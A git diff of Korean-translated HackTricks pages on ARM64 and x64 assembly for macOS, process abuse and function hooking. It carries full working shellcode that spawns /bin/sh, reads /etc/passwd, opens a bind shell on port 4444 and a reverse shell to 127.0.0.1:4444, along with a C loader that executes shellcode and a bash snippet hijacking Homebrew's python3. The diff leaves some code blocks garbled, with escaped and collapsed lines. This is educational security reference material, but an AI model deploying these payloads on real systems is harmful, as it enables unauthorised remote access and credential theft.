가끔은 \*\*`libsystem_kernel.dylib`\*\*에서 **디컴파일된** 코드를 확인하는 것이 **소스 코드**를 확인하는 것보다 쉽습니다. 왜냐하면 여러 시스템 호출 (BSD 및 Mach)의 코드는 스크립트를 통해 생성되기 때문에 (소스 코드의 주석을 확인하십시오) dylib에서 호출되는 내용을 찾을 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
### machdep calls
|
||||
|
@ -367,6 +387,7 @@ Objective-C 또는 Swift 프로그램에서이 함수를 자주 찾을 수 있
|
|||
* x2... -> 호출된 메서드의 나머지 인수
|
||||
|
||||
따라서이 함수로의 분기 전에 중단점을 설정하면 lldb에서 쉽게 호출된 내용을 찾을 수 있습니다 (이 예에서 객체가 `NSConcreteTask`의 객체를 호출하여 명령을 실행합니다).
|
||||
|
||||
```
|
||||
(lldb) po $x0
|
||||
<NSConcreteTask: 0x1052308e0>
|
||||
|
@ -383,9 +404,11 @@ Objective-C 또는 Swift 프로그램에서이 함수를 자주 찾을 수 있
|
|||
whoami
|
||||
)
|
||||
```
|
||||
|
||||
### 쉘코드
|
||||
|
||||
컴파일하려면:
|
||||
|
||||
```bash
|
||||
as -o shell.o shell.s
|
||||
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
|
||||
|
@ -393,69 +416,55 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm
|
|||
# You could also use this
|
||||
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
|
||||
```
|
||||
|
||||
바이트를 추출하려면:
|
||||
|
||||
```bash
|
||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
|
||||
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||
echo -n '\\x'$c
|
||||
done
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary>쉘코드를 테스트하는 C 코드</summary>
|
||||
```c
|
||||
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
|
||||
// gcc loader.c -o loader
|
||||
#include <stdio.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int (*sc)();
|
||||
\`\`\`c // code from https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include
|
||||
|
||||
char shellcode[] = "<INSERT SHELLCODE HERE>";
|
||||
int (\*sc)();
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
|
||||
char shellcode\[] = "";
|
||||
|
||||
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
|
||||
int main(int argc, char \*\*argv) { printf("\[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
|
||||
|
||||
if (ptr == MAP_FAILED) {
|
||||
perror("mmap");
|
||||
exit(-1);
|
||||
}
|
||||
printf("[+] SUCCESS: mmap\n");
|
||||
printf(" |-> Return = %p\n", ptr);
|
||||
void \*ptr = mmap(0, 0x1000, PROT\_WRITE | PROT\_READ, MAP\_ANON | MAP\_PRIVATE | MAP\_JIT, -1, 0);
|
||||
|
||||
void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
|
||||
printf("[+] SUCCESS: memcpy\n");
|
||||
printf(" |-> Return = %p\n", dst);
|
||||
if (ptr == MAP\_FAILED) { perror("mmap"); exit(-1); } printf("\[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);
|
||||
|
||||
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
|
||||
void \*dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("\[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);
|
||||
|
||||
if (status == -1) {
|
||||
perror("mprotect");
|
||||
exit(-1);
|
||||
}
|
||||
printf("[+] SUCCESS: mprotect\n");
|
||||
printf(" |-> Return = %d\n", status);
|
||||
int status = mprotect(ptr, 0x1000, PROT\_EXEC | PROT\_READ);
|
||||
|
||||
printf("[>] Trying to execute shellcode...\n");
|
||||
if (status == -1) { perror("mprotect"); exit(-1); } printf("\[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);
|
||||
|
||||
sc = ptr;
|
||||
sc();
|
||||
printf("\[>] Trying to execute shellcode...\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
sc = ptr; sc();
|
||||
|
||||
return 0; }
|
||||
|
||||
````
|
||||
</details>
|
||||
|
||||
#### 쉘
|
||||
|
||||
[**여기**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)에서 가져와 설명됨.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="adr를 사용한 경우" %}
|
||||
<div data-gb-custom-block data-tag="tabs"></div>
|
||||
|
||||
<div data-gb-custom-block data-tag="tab" data-title='adr를 사용한 경우'>
|
||||
|
||||
```armasm
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||
|
@ -469,10 +478,10 @@ mov x16, #59 ; Move the execve syscall number (59) into x16.
|
|||
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
|
||||
|
||||
sh_path: .asciz "/bin/sh"
|
||||
```
|
||||
{% endtab %}
|
||||
````
|
||||
|
||||
\{% 탭 제목="스택과 함께" %\}
|
||||
|
||||
{% 탭 제목="스택과 함께" %}
|
||||
```armasm
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||
|
@ -501,9 +510,11 @@ mov x16, #59 ; Move the execve syscall number (59) into x16.
|
|||
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
|
||||
|
||||
```
|
||||
#### cat로 읽기
|
||||
|
||||
**cat로 읽기**
|
||||
|
||||
목표는 `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`를 실행하는 것이므로 두 번째 인자 (x1)는 매개변수 배열이어야 합니다 (메모리에서는 주소 스택을 의미함).
|
||||
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
|
@ -529,7 +540,9 @@ cat_path: .asciz "/bin/cat"
|
|||
.align 2
|
||||
passwd_path: .asciz "/etc/passwd"
|
||||
```
|
||||
#### 메인 프로세스가 종료되지 않도록 포크에서 sh를 사용하여 명령을 호출합니다
|
||||
|
||||
**메인 프로세스가 종료되지 않도록 포크에서 sh를 사용하여 명령을 호출합니다**
|
||||
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
|
@ -573,9 +586,11 @@ sh_c_option: .asciz "-c"
|
|||
.align 2
|
||||
touch_command: .asciz "touch /tmp/lalala"
|
||||
```
|
||||
#### Bind 쉘
|
||||
|
||||
**Bind 쉘**
|
||||
|
||||
[https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s)에서 **포트 4444**로 Bind 쉘
|
||||
|
||||
```armasm
|
||||
.section __TEXT,__text
|
||||
.global _main
|
||||
|
@ -657,9 +672,11 @@ mov x2, xzr
|
|||
mov x16, #59
|
||||
svc #0x1337
|
||||
```
|
||||
#### 역쉘
|
||||
|
||||
**역쉘**
|
||||
|
||||
[https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s)에서 revshell을 **127.0.0.1:4444**로 설정합니다.
|
||||
|
||||
```armasm
|
||||
.section __TEXT,__text
|
||||
.global _main
|
||||
|
@ -726,16 +743,7 @@ mov x2, xzr
|
|||
mov x16, #59
|
||||
svc #0x1337
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요</strong></summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 팔로우하세요**.**
|
||||
* **해킹 트릭을 공유하고 싶다면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# x64 소개
|
||||
# Introduction to x64
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,7 +9,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
@ -29,14 +29,14 @@ x64는 x86 아키텍처를 확장하여 `rax`, `rbx`, `rcx`, `rdx`, `rbp`, `rsp`
|
|||
5. **`rbp`** - 스택 프레임의 **베이스 포인터**입니다.
|
||||
6. **`rsp`** - 스택의 맨 위를 추적하는 **스택 포인터**입니다.
|
||||
7. **`rsi`** 및 **`rdi`** - 문자열/메모리 작업에서 **소스** 및 **대상** 인덱스로 사용됩니다.
|
||||
8. **`r8`**에서 **`r15`**까지 - x64에서 도입된 추가 범용 레지스터입니다.
|
||||
8. \*\*`r8`\*\*에서 \*\*`r15`\*\*까지 - x64에서 도입된 추가 범용 레지스터입니다.
|
||||
|
||||
### **호출 규약**
|
||||
|
||||
x64 호출 규약은 운영 체제에 따라 다릅니다. 예를 들어:
|
||||
|
||||
* **Windows**: 처음 **네 개의 매개변수**는 레지스터 **`rcx`**, **`rdx`**, **`r8`**, **`r9`**에 전달됩니다. 추가 매개변수는 스택에 푸시됩니다. 반환 값은 **`rax`**에 있습니다.
|
||||
* **System V (UNIX와 유사한 시스템에서 일반적으로 사용됨)**: 처음 **여섯 개의 정수 또는 포인터 매개변수**는 레지스터 **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`**, **`r9`**에 전달됩니다. 반환 값도 **`rax`**에 있습니다.
|
||||
* **Windows**: 처음 **네 개의 매개변수**는 레지스터 **`rcx`**, **`rdx`**, **`r8`**, \*\*`r9`\*\*에 전달됩니다. 추가 매개변수는 스택에 푸시됩니다. 반환 값은 \*\*`rax`\*\*에 있습니다.
|
||||
* **System V (UNIX와 유사한 시스템에서 일반적으로 사용됨)**: 처음 **여섯 개의 정수 또는 포인터 매개변수**는 레지스터 **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`**, \*\*`r9`\*\*에 전달됩니다. 반환 값도 \*\*`rax`\*\*에 있습니다.
|
||||
|
||||
함수에 여섯 개 이상의 입력이 있는 경우 **나머지는 스택에 전달**됩니다. **RSP**, 스택 포인터는 **16바이트 정렬**이 되어야 하며, 즉, 호출이 발생하기 전에 가리키는 주소가 16으로 나누어 떨어져야 합니다. 이는 일반적으로 우리가 함수 호출 전에 적절하게 RSP를 정렬해야 함을 의미합니다. 그러나 실제로는 이 요구 사항을 충족시키지 않아도 시스템 호출이 많은 경우에도 작동합니다.
|
||||
|
||||
|
@ -73,12 +73,14 @@ x64 명령어는 이전 x86 명령어와의 호환성을 유지하면서 새로
|
|||
|
||||
### **함수 에필로그**
|
||||
|
||||
1. **현재 베이
|
||||
1. \*\*현재 베이
|
||||
|
||||
## macOS
|
||||
|
||||
### syscalls
|
||||
|
||||
다양한 종류의 syscalls가 있습니다. [**여기에서 찾을 수 있습니다**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:**
|
||||
|
||||
```c
|
||||
#define SYSCALL_CLASS_NONE 0 /* Invalid */
|
||||
#define SYSCALL_CLASS_MACH 1 /* Mach */
|
||||
|
@ -87,7 +89,9 @@ x64 명령어는 이전 x86 명령어와의 호환성을 유지하면서 새로
|
|||
#define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
|
||||
#define SYSCALL_CLASS_IPC 5 /* Mach IPC */
|
||||
```
|
||||
그럼, 각 시스콜 번호를 [**이 URL에서**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)** 찾을 수 있습니다:**
|
||||
|
||||
그럼, 각 시스콜 번호를 [**이 URL에서**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)\*\* 찾을 수 있습니다:\*\*
|
||||
|
||||
```c
|
||||
0 AUE_NULL ALL { int nosys(void); } { indirect syscall }
|
||||
1 AUE_EXIT ALL { void exit(int rval); }
|
||||
|
@ -104,6 +108,7 @@ x64 명령어는 이전 x86 명령어와의 호환성을 유지하면서 새로
|
|||
12 AUE_CHDIR ALL { int chdir(user_addr_t path); }
|
||||
[...]
|
||||
```
|
||||
|
||||
그래서 **Unix/BSD 클래스**에서 `open` 시스콜(**5**)을 호출하려면 다음과 같이 추가해야 합니다: `0x2000000`
|
||||
|
||||
따라서 open을 호출하기 위한 시스콜 번호는 `0x2000005`가 됩니다.
|
||||
|
@ -136,59 +141,42 @@ otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g'
|
|||
<details>
|
||||
|
||||
<summary>쉘코드를 테스트하기 위한 C 코드</summary>
|
||||
```c
|
||||
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
|
||||
// gcc loader.c -o loader
|
||||
#include <stdio.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int (*sc)();
|
||||
\`\`\`c // code from https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include
|
||||
|
||||
char shellcode[] = "<INSERT SHELLCODE HERE>";
|
||||
int (\*sc)();
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
|
||||
char shellcode\[] = "";
|
||||
|
||||
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
|
||||
int main(int argc, char \*\*argv) { printf("\[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
|
||||
|
||||
if (ptr == MAP_FAILED) {
|
||||
perror("mmap");
|
||||
exit(-1);
|
||||
}
|
||||
printf("[+] SUCCESS: mmap\n");
|
||||
printf(" |-> Return = %p\n", ptr);
|
||||
void \*ptr = mmap(0, 0x1000, PROT\_WRITE | PROT\_READ, MAP\_ANON | MAP\_PRIVATE | MAP\_JIT, -1, 0);
|
||||
|
||||
void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
|
||||
printf("[+] SUCCESS: memcpy\n");
|
||||
printf(" |-> Return = %p\n", dst);
|
||||
if (ptr == MAP\_FAILED) { perror("mmap"); exit(-1); } printf("\[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);
|
||||
|
||||
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
|
||||
void \*dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("\[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);
|
||||
|
||||
if (status == -1) {
|
||||
perror("mprotect");
|
||||
exit(-1);
|
||||
}
|
||||
printf("[+] SUCCESS: mprotect\n");
|
||||
printf(" |-> Return = %d\n", status);
|
||||
int status = mprotect(ptr, 0x1000, PROT\_EXEC | PROT\_READ);
|
||||
|
||||
printf("[>] Trying to execute shellcode...\n");
|
||||
if (status == -1) { perror("mprotect"); exit(-1); } printf("\[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);
|
||||
|
||||
sc = ptr;
|
||||
sc();
|
||||
printf("\[>] Trying to execute shellcode...\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
sc = ptr; sc();
|
||||
|
||||
return 0; }
|
||||
|
||||
````
|
||||
</details>
|
||||
|
||||
#### 쉘
|
||||
|
||||
[**여기**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)에서 가져온 내용이며 설명되어 있습니다.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="adr를 사용한 경우" %}
|
||||
<div data-gb-custom-block data-tag="tabs">
|
||||
|
||||
<div data-gb-custom-block data-tag="tab" data-title='adr를 사용한 경우'></div>
|
||||
|
||||
```armasm
|
||||
bits 64
|
||||
global _main
|
||||
|
@ -202,8 +190,8 @@ push 59 ; put 59 on the stack (execve syscall)
|
|||
pop rax ; pop it to RAX
|
||||
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
|
||||
syscall
|
||||
```
|
||||
{% tab title="스택을 사용하여" %}
|
||||
````
|
||||
|
||||
```armasm
|
||||
bits 64
|
||||
global _main
|
||||
|
@ -219,12 +207,11 @@ pop rax ; pop it to RAX
|
|||
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
|
||||
syscall
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### cat으로 읽기
|
||||
**cat으로 읽기**
|
||||
|
||||
목표는 `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`를 실행하는 것이므로, 두 번째 인자 (x1)는 매개변수의 배열입니다 (메모리에서는 주소의 스택을 의미합니다).
|
||||
|
||||
```armasm
|
||||
bits 64
|
||||
section .text
|
||||
|
@ -255,7 +242,9 @@ section .data
|
|||
cat_path: db "/bin/cat", 0
|
||||
passwd_path: db "/etc/passwd", 0
|
||||
```
|
||||
#### sh를 사용하여 명령 실행하기
|
||||
|
||||
**sh를 사용하여 명령 실행하기**
|
||||
|
||||
```armasm
|
||||
bits 64
|
||||
section .text
|
||||
|
@ -293,9 +282,11 @@ sh_path: db "/bin/sh", 0
|
|||
sh_c_option: db "-c", 0
|
||||
touch_command: db "touch /tmp/lalala", 0
|
||||
```
|
||||
#### 바인드 쉘
|
||||
|
||||
**바인드 쉘**
|
||||
|
||||
[https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html)에서 가져온 **포트 4444**의 바인드 쉘입니다.
|
||||
|
||||
```armasm
|
||||
section .text
|
||||
global _main
|
||||
|
@ -370,9 +361,11 @@ mov rax, r8
|
|||
mov al, 0x3b
|
||||
syscall
|
||||
```
|
||||
#### 리버스 쉘
|
||||
|
||||
**리버스 쉘**
|
||||
|
||||
[https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html)에서 가져온 리버스 쉘입니다. **127.0.0.1:4444**로 리버스 쉘을 실행합니다.
|
||||
|
||||
```armasm
|
||||
section .text
|
||||
global _main
|
||||
|
@ -434,16 +427,7 @@ mov rax, r8
|
|||
mov al, 0x3b
|
||||
syscall
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# macOS 프로세스 남용
|
||||
# macOS Proces Abuse
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,7 +9,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **💬** [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
@ -30,16 +30,16 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
함수 후킹은 소프트웨어 코드 내에서 **함수 호출이나 메시지를 가로채는** 기술입니다. 함수 후킹을 통해 공격자는 프로세스의 동작을 **수정하거나 민감한 데이터를 관찰하거나 실행 흐름을 제어**할 수 있습니다.
|
||||
|
||||
{% content-ref url="../mac-os-architecture/macos-function-hooking.md" %}
|
||||
[macos-function-hooking.md](../mac-os-architecture/macos-function-hooking.md)
|
||||
{% content-ref url="macos-function-hooking.md" %}
|
||||
[macos-function-hooking.md](macos-function-hooking.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 프로세스 간 통신
|
||||
|
||||
프로세스 간 통신 (IPC)은 별도의 프로세스가 **데이터를 공유하고 교환하는 다양한 방법**을 가리킵니다. IPC는 많은 합법적인 응용 프로그램에 필수적이지만, 프로세스 격리를 무력화하거나 민감한 정보를 유출하거나 무단 조치를 취할 수 있도록 남용될 수도 있습니다.
|
||||
|
||||
{% content-ref url="../mac-os-architecture/macos-ipc-inter-process-communication/" %}
|
||||
[macos-ipc-inter-process-communication](../mac-os-architecture/macos-ipc-inter-process-communication/)
|
||||
{% content-ref url="macos-ipc-inter-process-communication/" %}
|
||||
[macos-ipc-inter-process-communication](macos-ipc-inter-process-communication/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 일렉트론 애플리케이션 주입
|
||||
|
@ -100,26 +100,14 @@ NIB 파일은 응용 프로그램 내에서 **사용자 인터페이스 (UI) 요
|
|||
|
||||
### 파이썬 주입
|
||||
|
||||
환경 변수 **`PYTHONINSPECT`**가 설정되어 있으면 파이썬 프로세스가 완료되면 파이썬 CLI로 이동합니다. 대화형 세션의 시작 시 파이썬 스크립트를 실행하도록 **`PYTHONSTARTUP`**을 사용할 수도 있습니다.\
|
||||
그러나 **`PYTHONSTARTUP`** 스크립트는 **`PYTHONINSPECT`**가 대화형 세션을 생성할 때 실행되지 않습니다.
|
||||
환경 변수 \*\*`PYTHONINSPECT`\*\*가 설정되어 있으면 파이썬 프로세스가 완료되면 파이썬 CLI로 이동합니다. 대화형 세션의 시작 시 파이썬 스크립트를 실행하도록 \*\*`PYTHONSTARTUP`\*\*을 사용할 수도 있습니다.\
|
||||
그러나 **`PYTHONSTARTUP`** 스크립트는 \*\*`PYTHONINSPECT`\*\*가 대화형 세션을 생성할 때 실행되지 않습니다.
|
||||
|
||||
**`PYTHONPATH`** 및 **`PYTHONHOME`**과 같은 다른 환경 변수도 파이썬 명령이 임의의 코드를 실행하도록 하는 데 유용할 수 있습니다.
|
||||
**`PYTHONPATH`** 및 \*\*`PYTHONHOME`\*\*과 같은 다른 환경 변수도 파이썬 명령이 임의의 코드를 실행하도록 하는 데 유용할 수 있습니다.
|
||||
|
||||
**`pyinstaller`**로 컴파일된 실행 파일은 내장된 파이썬을 사용하더라도 이러한 환경 변수를 사용하지 않습니다.
|
||||
\*\*`pyinstaller`\*\*로 컴파일된 실행 파일은 내장된 파이썬을 사용하더라도 이러한 환경 변수를 사용하지 않습니다.
|
||||
|
||||
{% hint style="danger" %}
|
||||
전반적으로 환경 변수를 남용하여 파이썬이 임의의 코드를 실행하도록 하는 방법을 찾지 못했습니다.\
|
||||
그러나 대부분의 사람들은 **Hombrew**를 사용하여 파이썬을 설치하므로 기본 관리자 사용자를 위한 **쓰기 가능한 위치**에 파이썬을 설치합니다. 다음과 같이 이를 탈취할 수 있습니다:
|
||||
```bash
|
||||
mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old
|
||||
cat > /opt/homebrew/bin/python3 <<EOF
|
||||
#!/bin/bash
|
||||
# Extra hijack code
|
||||
/opt/homebrew/bin/python3.old "$@"
|
||||
EOF
|
||||
chmod +x /opt/homebrew/bin/python3
|
||||
```
|
||||
## 탐지
|
||||
전반적으로 환경 변수를 남용하여 파이썬이 임의의 코드를 실행하도록 하는 방법을 찾지 못했습니다.\ 그러나 대부분의 사람들은 \*\*Hombrew\*\*를 사용하여 파이썬을 설치하므로 기본 관리자 사용자를 위한 \*\*쓰기 가능한 위치\*\*에 파이썬을 설치합니다. 다음과 같이 이를 탈취할 수 있습니다: \`\`\`bash mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old cat > /opt/homebrew/bin/python3 <
|
||||
|
||||
### Shield
|
||||
|
||||
|
|
|
@ -0,0 +1,407 @@
|
|||
# macOS Function Hooking
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 함수 Interposing
|
||||
|
||||
**원본** 함수와 **대체** 함수를 참조하는 **함수 포인터**의 튜플을 포함하는 **`__interpose`** 섹션(또는 **`S_INTERPOSING`** 플래그가 지정된 섹션)이 있는 **dylib**를 생성합니다.
|
||||
|
||||
